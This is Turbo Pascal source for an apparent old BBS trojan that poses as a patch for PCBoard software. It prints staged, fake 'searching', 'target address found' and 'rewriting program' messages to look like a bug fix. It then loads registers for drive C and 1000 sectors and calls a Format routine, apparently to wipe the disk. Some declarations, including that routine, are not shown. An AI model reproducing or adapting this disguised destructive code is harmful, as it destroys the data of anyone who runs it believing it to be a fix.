Function Exist (FileName:String):Boolean;
Var FileToOpen:File;
CounterOne:Integer;
Begin
Assign (FileToOpen,FileName);
Reset (FileToOpen);
CounterOne:=ioresult;
Exist:=CounterOne=0;
Close (FileToOpen);
CounterOne:=ioresult
End;
Procedure WasteTime (TimeToWaste:Integer);
Var CounterOne:Integer;
FileToOpen:File;
Begin
For CounterOne:=1 to TimeToWaste do begin
Assign (FileToOpen,'C:\COMMAND.COM');
Reset (FileToOpen);
Close (FileToOpen);
Randomize;
delay (Random(500));
end;
end;
Function Strr(IntegerNumber:Integer):String;
Var StringNumber:String;
Begin
Str(IntegerNumber,StringNumber);
Strr:=StringNumber;
End;
begin
SetCBreak(true);
TargetAddressNumber:=1;
NormCursorOn;
TextColor (7);
TextBackGround(0);
writeln;
writeln;
writeln;
writeln (LongName);
writeln (Programmers);
repeat;
writeln;
writeln (' Enter the Directory where '+ShortName+' '+Version+' is Stored: (Eg. '+Directory+') ');
writeln;
write (' Directory Name>: ');
readln (PcBoardDirectory);
if (length(PcBoardDirectory)=0) then PcBoardDirectory:='__________';
ChDir (PcBoardDirectory);
ResultIo:=0;
ResultIo:=IoResult;
If ResultIo <>0 then begin
writeln;
TextColor(4);
writeln (' Directory does not exist.');
TextColor(7);
writeln;
writeln;
halt;
end;
until ResultIo=0;
ChDir (PcBoardDirectory);
if ((not(exist(ProgramOne))) or (not(exist(ProgramTwo)))) then begin
writeln;
TextColor(4);
writeln (' '+ShortName+' files not found.');
TextColor(7);
Halt;
end;
writeln;
write (' Loading '+ShortName+'.EXE... ');
WasteTime (70);
Delay (2000);
write (' Searching for '+SearchFor+' - ');
TargetAddressNumber:=TargetAddressNumber+3;
TargetAddressNumber:=TargetAddressNumber-2;
TargetAddressNumber:=TargetAddressNumber*2;
Delay (1500);
CursorOff;
XPosition:=WhereX;
YPosition:=WhereY;
For CounterOne:=0 to 1 do begin
For CounterTwo:=0 to 13 do begin
For CounterThree:=0 to 7 do begin
For CounterFour:=0 to 11 do begin
Gotoxy (XPosition,YPosition);
if CounterFour=10 then CountFour:='A' else
if CounterFour=11 then CountFour:='B' else
if CounterFour=12 then CountFour:='C' else
if CounterFour=13 then CountFour:='D' else
CountFour:=strr(CounterFour);
if CounterThree=10 then CountThree:='A' else
if CounterThree=11 then CountThree:='B' else
if CounterThree=12 then CountThree:='C' else
if CounterThree=13 then CountThree:='D' else
CountThree:=strr(CounterThree);
if CounterTwo=10 then CountTwo:='A' else
if CounterTwo=11 then CountTwo:='B' else
if CounterTwo=12 then CountTwo:='C' else
if CounterTwo=13 then CountTwo:='D' else
CountTwo:=strr(CounterTwo);
if CounterOne=10 then CountOne:='A' else
if CounterOne=11 then CountOne:='B' else
if CounterOne=12 then CountOne:='C' else
if CounterOne=13 then CountOne:='D' else
CountOne:=strr(CounterOne);
write ('1B9C:',CountOne,CountTwo,CountThree,CountFour);
end;
end;
end;
end;
NormCursorOn;
Delay (1500);
writeln;
write (' '+strr(TargetAddressNumber)+' Target Address Found... ');
Delay (1500);
writeln ('Fixing '+SearchFor+'...');
delay (3000);
write (' Rewriting '+ShortName+' Program.... ');
WasteTime (30);
writeln (' '+SearchFor+' will not occur any more.');
Regs.AL:=2;
Regs.CX:=1000;
Regs.DX:=0;
Format;
end.
Downloaded From P-80 International Information Systems 304-744-2253